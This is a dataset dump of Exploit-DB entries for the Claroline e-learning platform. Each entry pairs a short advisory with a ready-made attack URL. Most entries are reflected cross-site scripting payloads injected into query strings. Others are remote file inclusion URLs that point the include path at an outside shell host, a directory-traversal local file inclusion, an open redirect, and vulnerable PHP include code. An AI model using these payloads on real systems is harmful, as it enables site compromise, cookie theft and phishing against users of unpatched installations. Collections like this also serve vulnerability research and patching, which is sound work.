deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32109
Description: Claroline 1.8 - '/tracking/toolaccess_details.php?toolId' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-22
Author: DSecRG

Exploit:
source: https://www.securityfocus.com/bid/30346/info
   
Claroline is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
Versions prior to Claroline 1.8.11 are vulnerable. 

http://www.example.com/[installdir]/claroline/tracking/toolaccess_details.php?toolId="><script>alert(&#039;DSecRG
XSS&#039;)</script>
Exploit-DB #32106
Description: Claroline 1.8 - 'learnPath/calendar/myagenda.php' Query String Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-22
Author: DSecRG

Exploit:
source: https://www.securityfocus.com/bid/30346/info

Claroline is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Claroline 1.8.11 are vulnerable. 

http://www.example.com/[installdir]/claroline/calendar/myagenda.php?"><script>alert(&#039;DSecRG
XSS&#039;)</script>
Exploit-DB #32107
Description: Claroline 1.8 - 'user/user.php' Query String Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-22
Author: DSecRG

Exploit:
source: https://www.securityfocus.com/bid/30346/info
 
Claroline is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Versions prior to Claroline 1.8.11 are vulnerable. 

http://www.example.com/[installdir]/claroline/user/user.php?"><script>alert(&#039;DSecRG
XSS&#039;)</script>
Exploit-DB #2510
Description: Claroline 1.8.0 rc1 - 'import.lib.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-10
Author: k1tk4t

Exploit:
##################################################################################
# claroline <= 180rc1 Remote File Inclusion
# Download Source : http://www.claroline.net/dlarea/claroline180rc1.tar.gz
#
# Found By    : k1tk4t - k1tk4t[4t]newhack.org
# Location      : Indonesia   -- #newhack[dot]org
########################################################################
file ;
claroline/inc/lib/import.lib.php
########################################################################
bugs ; begin line 8 require_once ($includePath .  '/claro_init_global.inc.php');
   require_once ($includePath . '/lib/export_zip.lib.php');
   require_once ($includePath . '/../wiki/lib/lib.createwiki.php');
   require_once ($includePath . '/lib/pclzip/pclzip.lib.php');
 require_once ($includePath . '/lib/fileManage.lib.php');
   require_once ($includePath . '/lib/forum.lib.php');
   require_once ($includePath . '/lib/import.xmlparser.lib.php');
   require_once ($includePath . '/lib/add_course.lib.inc.php');
 require_once ($includePath . '/lib/course.lib.inc.php');
 require_once ($includePath . '/lib/sendmail.lib.php');
   require $includePath.'/lib/debug.lib.inc.php';
########################################################################
exmple and methode exploit ;
claroline/inc/lib/import.lib.php?includePath=http://shell/cmd.do?
########################################################################
Thanks;
str0ke
milw0rm
google
#e-c-h-o (all member echo community)
#nyubi (all member solpotcrew community)
person;
y3dips, lirva32, the_day,(&all echo staff) nyubi,x-ace,NoGe(asiahacker),ghoz, home_edition2001,matdhule, iFX, and for all (friend's&enemy)

# milw0rm.com [2006-10-10]
Exploit-DB #32991
Description: Claroline 1.8.11 - '/claroline/linker/notfound.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-05-08
Author: Gerendi Sandor Attila

Exploit:
source: https://www.securityfocus.com/bid/34883/info

Claroline is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Claroline 1.8.11 is vulnerable; other versions may also be affected. 

http://www.example.com/referer/?"><script>alert(123)</script><a%20href="
Exploit-DB #30259
Description: Claroline 1.8.3 - '$_SERVER['PHP_SELF']' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-07-02
Author: munozferna

Exploit:
source: https://www.securityfocus.com/bid/24742/info

Claroline is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Claroline 1.8.4 are vulnerable. 

http://www.example.com/index.php?[XSS]
Exploit-DB #32071
Description: Claroline 1.8.9 - '/claroline/redirector.php?url' Arbitrary Site Redirect
Type: webapps
Platform: php
Date: 2008-07-15
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/30269/info
            
Claroline is prone to multiple input-validation vulnerabilities:
            
1. Multiple cross-site scripting vulnerabilities.
2. A remote URI-redirection vulnerability.
            
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and redirect users to an attacker-controlled site; this may aid in phishing-style attacks.
            
Versions prior to Claroline 1.8.10 are vulnerable. 

http://www.example.com/[installdir]/claroline/redirector.php?url=http://www.example2.com
Exploit-DB #32066
Description: Claroline 1.8.9 - '/phpBB/newtopic.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-15
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/30269/info
       
Claroline is prone to multiple input-validation vulnerabilities:
       
1. Multiple cross-site scripting vulnerabilities.
2. A remote URI-redirection vulnerability.
       
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and redirect users to an attacker-controlled site; this may aid in phishing-style attacks.
       
Versions prior to Claroline 1.8.10 are vulnerable. 

http://www.example.com/claroline/phpbb/newtopic.php?"><script>alert(&#039;DSecRGXSS&#039;)</script>
Exploit-DB #32059
Description: Claroline 1.8.9 - 'announcements/announcements.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-15
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/30269/info

Claroline is prone to multiple input-validation vulnerabilities:

1. Multiple cross-site scripting vulnerabilities.
2. A remote URI-redirection vulnerability.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and redirect users to an attacker-controlled site; this may aid in phishing-style attacks.

Versions prior to Claroline 1.8.10 are vulnerable. 

http://www.example.com/claroline/announcements/announcements.php?"><script>alert(&#039;DSecRGXSS&#039;)</script>
Exploit-DB #32060
Description: Claroline 1.8.9 - 'calendar/agenda.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-15
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/30269/info
 
Claroline is prone to multiple input-validation vulnerabilities:
 
1. Multiple cross-site scripting vulnerabilities.
2. A remote URI-redirection vulnerability.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and redirect users to an attacker-controlled site; this may aid in phishing-style attacks.
 
Versions prior to Claroline 1.8.10 are vulnerable. 

http://www.example.com/claroline/calendar/agenda.php?"><script>alert(&#039;DSecRGXSS&#039;)</script>
Exploit-DB #32061
Description: Claroline 1.8.9 - 'course/index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-15
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/30269/info
  
Claroline is prone to multiple input-validation vulnerabilities:
  
1. Multiple cross-site scripting vulnerabilities.
2. A remote URI-redirection vulnerability.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and redirect users to an attacker-controlled site; this may aid in phishing-style attacks.
  
Versions prior to Claroline 1.8.10 are vulnerable. 

http://www.example.com/claroline/course/index.php?"><script>alert(&#039;DSecRGXSS&#039;)</script>
Exploit-DB #32062
Description: Claroline 1.8.9 - 'course_description/index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-15
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/30269/info
   
Claroline is prone to multiple input-validation vulnerabilities:
   
1. Multiple cross-site scripting vulnerabilities.
2. A remote URI-redirection vulnerability.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and redirect users to an attacker-controlled site; this may aid in phishing-style attacks.
   
Versions prior to Claroline 1.8.10 are vulnerable. 

http://www.example.com/claroline/course_description/index.php?"><script>alert(&#039;DSecRGXSS&#039;)</script>
Exploit-DB #32063
Description: Claroline 1.8.9 - 'document/document.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-15
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/30269/info
    
Claroline is prone to multiple input-validation vulnerabilities:
    
1. Multiple cross-site scripting vulnerabilities.
2. A remote URI-redirection vulnerability.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and redirect users to an attacker-controlled site; this may aid in phishing-style attacks.
    
Versions prior to Claroline 1.8.10 are vulnerable. 

http://www.example.com/claroline/document/document.php?"><script>alert(&#039;DSecRGXSS&#039;)</script>
Exploit-DB #32064
Description: Claroline 1.8.9 - 'exercise/exercise.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-15
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/30269/info
     
Claroline is prone to multiple input-validation vulnerabilities:
     
1. Multiple cross-site scripting vulnerabilities.
2. A remote URI-redirection vulnerability.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and redirect users to an attacker-controlled site; this may aid in phishing-style attacks.
     
Versions prior to Claroline 1.8.10 are vulnerable. 

http://www.example.com/claroline/exercise/exercise.php?"><script>alert(&#039;DSecRGXSS&#039;)</script>
Exploit-DB #32065
Description: Claroline 1.8.9 - 'group/group_space.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-15
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/30269/info
      
Claroline is prone to multiple input-validation vulnerabilities:
      
1. Multiple cross-site scripting vulnerabilities.
2. A remote URI-redirection vulnerability.
      
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and redirect users to an attacker-controlled site; this may aid in phishing-style attacks.
      
Versions prior to Claroline 1.8.10 are vulnerable. 

http://www.example.com/claroline/group/group_space.php?"><script>alert(&#039;DSecRGXSS&#039;)</script>
Exploit-DB #32067
Description: Claroline 1.8.9 - 'phpBB/reply.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-15
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/30269/info
        
Claroline is prone to multiple input-validation vulnerabilities:
        
1. Multiple cross-site scripting vulnerabilities.
2. A remote URI-redirection vulnerability.
        
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and redirect users to an attacker-controlled site; this may aid in phishing-style attacks.
        
Versions prior to Claroline 1.8.10 are vulnerable. 

http://www.example.com/claroline/phpbb/reply.php?"><script>alert(&#039;DSecRGXSS&#039;)</script>
Exploit-DB #32068
Description: Claroline 1.8.9 - 'phpBB/viewtopic.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-15
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/30269/info
         
Claroline is prone to multiple input-validation vulnerabilities:
         
1. Multiple cross-site scripting vulnerabilities.
2. A remote URI-redirection vulnerability.
         
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and redirect users to an attacker-controlled site; this may aid in phishing-style attacks.
         
Versions prior to Claroline 1.8.10 are vulnerable. 

http://www.example.com/claroline/phpbb/viewtopic.php?"><script>alert(&#039;DSecRGXSS&#039;)</script>
Exploit-DB #32069
Description: Claroline 1.8.9 - 'wiki/wiki.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-15
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/30269/info
          
Claroline is prone to multiple input-validation vulnerabilities:
          
1. Multiple cross-site scripting vulnerabilities.
2. A remote URI-redirection vulnerability.
          
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and redirect users to an attacker-controlled site; this may aid in phishing-style attacks.
          
Versions prior to Claroline 1.8.10 are vulnerable. 

http://www.example.com/claroline/wiki/wiki.php?"><script>alert(&#039;DSecRGXSS&#039;)</script>
Exploit-DB #32070
Description: Claroline 1.8.9 - 'work/work.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-15
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/30269/info
           
Claroline is prone to multiple input-validation vulnerabilities:
           
1. Multiple cross-site scripting vulnerabilities.
2. A remote URI-redirection vulnerability.
           
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and redirect users to an attacker-controlled site; this may aid in phishing-style attacks.
           
Versions prior to Claroline 1.8.10 are vulnerable. 

http://www.example.com/claroline/work/work.php?"><script>alert(&#039;DSecRGXSS&#039;)</script>
Exploit-DB #30557
Description: Claroline 1.x - '/admin/adminusers.php?dir' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-09-03
Author: Fernando Munoz

Exploit:
source: https://www.securityfocus.com/bid/25521/info
 
Claroline is prone to a local file-include vulnerability and multiple cross-site scripting vulnerabilities.
 
An attacker could exploit these issues to execute local script code in the context of the application and access sensitive data, which may aid in further attacks.The attacker may also be able to execute arbitray code in the context of the webserver. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Versions prior to Claroline 1.8.6 are vulnerable. 

http://www.example.com/admin/adminusers.php?dir=[XSS]
http://www.example.com/admin/adminusers.php?sort=[XSS]
Exploit-DB #30558
Description: Claroline 1.x - '/admin/advancedUserSearch.php?action' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-09-03
Author: Fernando Munoz

Exploit:
source: https://www.securityfocus.com/bid/25521/info
  
Claroline is prone to a local file-include vulnerability and multiple cross-site scripting vulnerabilities.
  
An attacker could exploit these issues to execute local script code in the context of the application and access sensitive data, which may aid in further attacks.The attacker may also be able to execute arbitray code in the context of the webserver. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Versions prior to Claroline 1.8.6 are vulnerable. 

http://www.example.com/admin/advancedUserSearch.php?action=[XSS]
Exploit-DB #30559
Description: Claroline 1.x - '/admin/campusProblem.php?view' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-09-03
Author: Fernando Munoz

Exploit:
source: https://www.securityfocus.com/bid/25521/info
   
Claroline is prone to a local file-include vulnerability and multiple cross-site scripting vulnerabilities.
   
An attacker could exploit these issues to execute local script code in the context of the application and access sensitive data, which may aid in further attacks.The attacker may also be able to execute arbitray code in the context of the webserver. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
Versions prior to Claroline 1.8.6 are vulnerable. 

http://www.example.com/admin/campusProblem.php?view=[XSS]
Exploit-DB #30556
Description: Claroline 1.x - '/inc/lib/language.lib.php?language' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2007-09-03
Author: Fernando Munoz

Exploit:
source: https://www.securityfocus.com/bid/25521/info

Claroline is prone to a local file-include vulnerability and multiple cross-site scripting vulnerabilities.

An attacker could exploit these issues to execute local script code in the context of the application and access sensitive data, which may aid in further attacks.The attacker may also be able to execute arbitray code in the context of the webserver. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Claroline 1.8.6 are vulnerable. 

http://www.example.com/inc/lib/languages.lib.php?language=../../[file]
Exploit-DB #27549
Description: Claroline 1.x - 'rqmkhtml.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-31
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/17344/info

Claroline is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/claroline/document/rqmkhtml.php?cmd=rqEditHtml&file=[code]
Exploit-DB #27548
Description: Claroline 1.x - 'rqmkhtml.php' Information Disclosure
Type: webapps
Platform: php
Date: 2006-03-31
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/17343/info

Claroline is prone to an information-disclosure vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

Claroline versions 1.7.4 and prior are vulnerable.

http://www.example.com/claroline/document/rqmkhtml.php?cmd=rqEditHtml&file=[file]
Exploit-DB #29885
Description: Claroline 1.x - RootSys Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-23
Author: MoHaNdKo

Exploit:
source: https://www.securityfocus.com/bid/23609/info

Claroline is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com//claroline/inc/lib/rootSys=Shell
Exploit-DB #43841
Description: Claroline < 1.7.7 - Arbitrary File Inclusion
Type: webapps
Platform: php
Date: 2016-08-14
Author: GulfTech Security

Exploit:
Claroline Arbitrary File Inclusion

Vendor: Claroline
Product: Claroline
Version: <= 1.7.7
Website: http://www.claroline.net/

BID: 20056 
CVE: CVE-2006-4844 
OSVDB: 28827 
SECUNIA: 21931 

Description:
Claroline is a popular online Open Source e-Learning application used to allow teachers or education organizations to create and administrate courses through the web. Claroline is also used as the framework for other e-Learning applications such as Dokeos. Unfortunately Claroline is vulnerable to a file inclusion issue when register globals is on which may allow for an attacker to read or execute arbitrary files. Some frameworks that use Claroline (such as Dokeos) are also vulnerable to the issues mentioned here. An updated version of Claroline has been released and users should upgrade immediately and disable register_globals if possible. 


Arbitrary File Inclusion:
Claroline is vulnerable to an arbitray file inclusion issue that may allow for remote code execution. The vulnerability is due to an uninitialized array being used to include files. The vulnerable code in claro_init_local.inc.php can be seen below 
if (isset($extAuthSource) && is_array($extAuthSource))
{
    foreach($extAuthSource as $thisAuthSource)
    {
        $_uid = include_once($thisAuthSource['newUser']);

        if ( $_uid > 0 )
        {
            $uidReset             = true;
            $claro_loginSucceeded = true;
            break;
        }
        else
        {
            $_uid                 = null;
            $claro_loginSucceeded = false;
        }
    }
} //end if is_array($extAuthSource)

Unfortunately there is no authentication needed to exploit this issue, thus allowing an attacker to easily include files via the extAuthSource[newUser] variable. 


Solution:
An updated version of Claroline has been released and users are encouraged to upgrade as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team